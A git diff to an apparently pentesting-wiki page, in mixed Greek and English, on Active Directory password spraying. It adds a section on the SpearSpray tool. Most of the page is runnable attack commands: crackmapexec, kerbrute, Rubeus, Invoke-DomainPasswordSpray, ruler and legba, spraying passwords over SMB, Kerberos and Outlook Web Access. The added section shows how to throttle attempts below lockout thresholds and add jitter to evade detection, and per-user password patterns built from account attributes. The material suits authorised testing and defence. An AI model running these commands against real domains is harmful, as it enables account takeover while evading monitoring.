diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index 6eb193412..e81bac695 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -5,16 +5,16 @@ ## **Password Spraying** -Μόλις βρείτε αρκετά **έγκυρα ονόματα χρηστών**, μπορείτε να δοκιμάσετε τους πιο **συνηθισμένους κωδικούς πρόσβασης** (κρατήστε υπόψη την πολιτική κωδικών πρόσβασης του περιβάλλοντος) με καθέναν από τους ανακαλυφθέντες χρήστες.\ -Κατά **προεπιλογή**, το **ελάχιστο** **μήκος** **κωδικού πρόσβασης** είναι **7**. +Μόλις βρείτε αρκετά **valid usernames** μπορείτε να δοκιμάσετε τους πιο **common passwords** (έχετε υπόψη την password policy του περιβάλλοντος) για κάθε έναν από τους ανακαλυφθέντες users.\ +Κατά **default** το **minimum** **password** **length** είναι **7**. -Λίστες με κοινά ονόματα χρηστών θα μπορούσαν επίσης να είναι χρήσιμες: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) +Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) -Σημειώστε ότι **μπορείτε να κλειδώσετε κάποιους λογαριασμούς αν δοκιμάσετε αρκετούς λάθος κωδικούς πρόσβασης** (κατά προεπιλογή περισσότερους από 10). +Σημειώστε ότι **μπορεί να lockout μερικούς λογαριασμούς αν δοκιμάσετε αρκετούς λανθασμένους passwords** (κατά default περισσότερους από 10). -### Get password policy +### Λήψη password policy -Αν έχετε κάποια διαπιστευτήρια χρήστη ή ένα shell ως χρήστης τομέα, μπορείτε να **πάρετε την πολιτική κωδικών πρόσβασης με**: +Αν έχετε κάποια user credentials ή ένα shell ως domain user μπορείτε να **get the password policy with**: ```bash # From Linux crackmapexec -u 'user' -p 'password' --pass-pol @@ -31,32 +31,32 @@ net accounts (Get-DomainPolicy)."SystemAccess" #From powerview ``` -### Εκμετάλλευση από Linux (ή όλα) +### Εκμετάλλευση από Linux (ή από όλα) -- Χρησιμοποιώντας **crackmapexec:** +- Χρήση του **crackmapexec:** ```bash crackmapexec smb -u users.txt -p passwords.txt # Local Auth Spray (once you found some local admin pass or hash) ## --local-auth flag indicate to only try 1 time per machine crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + ``` -- Χρησιμοποιώντας [**kerbrute**](https://github.com/ropnop/kerbrute) (Go) +- Χρήση [**kerbrute**](https://github.com/ropnop/kerbrute) (Go) ```bash # Password Spraying ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123 # Brute-Force ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman ``` -- [**spray**](https://github.com/Greenwolf/Spray) _**(μπορείτε να υποδείξετε τον αριθμό των προσπαθειών για να αποφύγετε τους αποκλεισμούς):**_ +- [**spray**](https://github.com/Greenwolf/Spray) _**(μπορείτε να καθορίσετε τον αριθμό προσπαθειών για να αποφύγετε lockouts):**_ ```bash spray.sh -smb ``` -- Χρησιμοποιώντας [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - ΔΕΝ ΣΥΣΤΗΝΕΤΑΙ, ΜΕΡΙΚΕΣ ΦΟΡΕΣ ΔΕΝ ΛΕΙΤΟΥΡΓΕΙ +- Χρήση [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - ΔΕΝ ΣΥΝΙΣΤΑΤΑΙ, ΚΑΠΟΙΕΣ ΦΟΡΕΣ ΔΕΝ ΛΕΙΤΟΥΡΓΕΙ ```bash python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt ``` -- Με το module `scanner/smb/smb_login` του **Metasploit**: +- Με το `scanner/smb/smb_login` module του **Metasploit**: ![](<../../images/image (745).png>) @@ -69,7 +69,7 @@ done ``` #### Από Windows -- Με την έκδοση του [Rubeus](https://github.com/Zer1t0/Rubeus) που περιέχει το brute module: +- Με [Rubeus](https://github.com/Zer1t0/Rubeus) έκδοση με brute module: ```bash # with a list of users .\Rubeus.exe brute /users: /passwords: /domain: /outfile: @@ -77,7 +77,7 @@ done # check passwords for all users in current domain .\Rubeus.exe brute /passwords: /outfile: ``` -- Με [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Μπορεί να δημιουργήσει χρήστες από το domain από προεπιλογή και θα πάρει την πολιτική κωδικών πρόσβασης από το domain και θα περιορίσει τις προσπάθειες ανάλογα με αυτήν): +- Με [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Μπορεί εξ ορισμού να δημιουργήσει χρήστες από το domain και να λαμβάνει την πολιτική κωδικών πρόσβασης από αυτό, περιορίζοντας τις προσπάθειες ανάλογα με αυτήν): ```bash Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` @@ -85,10 +85,75 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` Invoke-SprayEmptyPassword ``` -## Βίαιη Δύναμη +## Brute Force ```bash legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org ``` +### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray) + +Το Kerberos pre-auth–based spraying μειώνει τον θόρυβο σε σχέση με τις προσπάθειες SMB/NTLM/LDAP bind και εναρμονίζεται καλύτερα με τις πολιτικές lockout του AD. Το SpearSpray συνδυάζει LDAP-driven targeting, έναν pattern engine και policy awareness (domain policy + PSOs + badPwdCount buffer) για να κάνει spraying με ακρίβεια και ασφάλεια. Μπορεί επίσης να επισημαίνει compromised principals σε Neo4j για BloodHound pathing. + +Key ideas: +- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters. +- Domain lockout policy + PSO-aware filtering to leave a configurable attempt buffer (threshold) and avoid locking users. +- Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625). +- Pattern-based, per-user password generation using variables like names and temporal values derived from each user’s pwdLastSet. +- Throughput control with threads, jitter, and max requests per second. +- Optional Neo4j integration to mark owned users for BloodHound. + +Basic usage and discovery: +```bash +# List available pattern variables +spearspray -l + +# Basic run (LDAP bind over TCP/389) +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local + +# LDAPS (TCP/636) +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl +``` +Στόχευση και έλεγχος προτύπων: +```bash +# Custom LDAP filter (e.g., target specific OU/attributes) +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \ +-q "(&(objectCategory=person)(objectClass=user)(department=IT))" + +# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra} +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME +``` +Μέτρα για αθέατη λειτουργία και ασφάλεια: +```bash +# Control concurrency, add jitter, and cap request rate +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10 + +# Leave N attempts in reserve before lockout (default threshold: 2) +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2 +``` +Neo4j/BloodHound εμπλουτισμός: +```bash +spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687 +``` +Επισκόπηση συστήματος προτύπων (patterns.txt): +```text +# Example templates consuming per-user attributes and temporal context +{name}{separator}{year}{suffix} +{month_en}{separator}{short_year}{suffix} +{season_en}{separator}{year}{suffix} +{samaccountname} +{extra}{separator}{year}{suffix} +``` +Available variables include: +- {name}, {samaccountname} +- Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en} +- Composition helpers and org token: {separator}, {suffix}, {extra} + +Operational notes: +- Προτιμήστε να κάνετε query στον PDC-emulator με -dc για να διαβάσετε το πιο αξιόπιστο badPwdCount και πληροφορίες σχετικές με πολιτικές. +- badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe. +- Οι προσπάθειες Kerberos pre-auth εμφανίζονται ως 4768/4771 στην DC telemetry; χρησιμοποιήστε jitter και rate-limiting για να μειώσετε την ανιχνευσιμότητα. + +> Συμβουλή: Το default LDAP page size του SpearSpray είναι 200; προσαρμόστε με -lps όπως χρειάζεται. + ## Outlook Web Access Υπάρχουν πολλαπλά εργαλεία για p**assword spraying outlook**. @@ -99,7 +164,7 @@ legba kerberos --target 127.0.0.1 --username admin --password wordlists/password - Με [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) - Με [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) -Για να χρησιμοποιήσετε οποιοδήποτε από αυτά τα εργαλεία, χρειάζεστε μια λίστα χρηστών και έναν κωδικό πρόσβασης / μια μικρή λίστα κωδικών πρόσβασης για ψεκασμό. +Για να χρησιμοποιήσετε οποιοδήποτε από αυτά τα εργαλεία, χρειάζεστε μια λίστα χρηστών και ένα password / μια μικρή λίστα passwords για να spray. ```bash ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose [x] Failed: larsson:Summer2020 @@ -120,6 +185,11 @@ legba kerberos --target 127.0.0.1 --username admin --password wordlists/password ## Αναφορές +- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray) +- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute) +- [https://github.com/Greenwolf/Spray](https://github.com/Greenwolf/Spray) +- [https://github.com/Hackndo/sprayhound](https://github.com/Hackndo/sprayhound) +- [https://github.com/login-securite/conpass](https://github.com/login-securite/conpass) - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying) - [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell) - [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)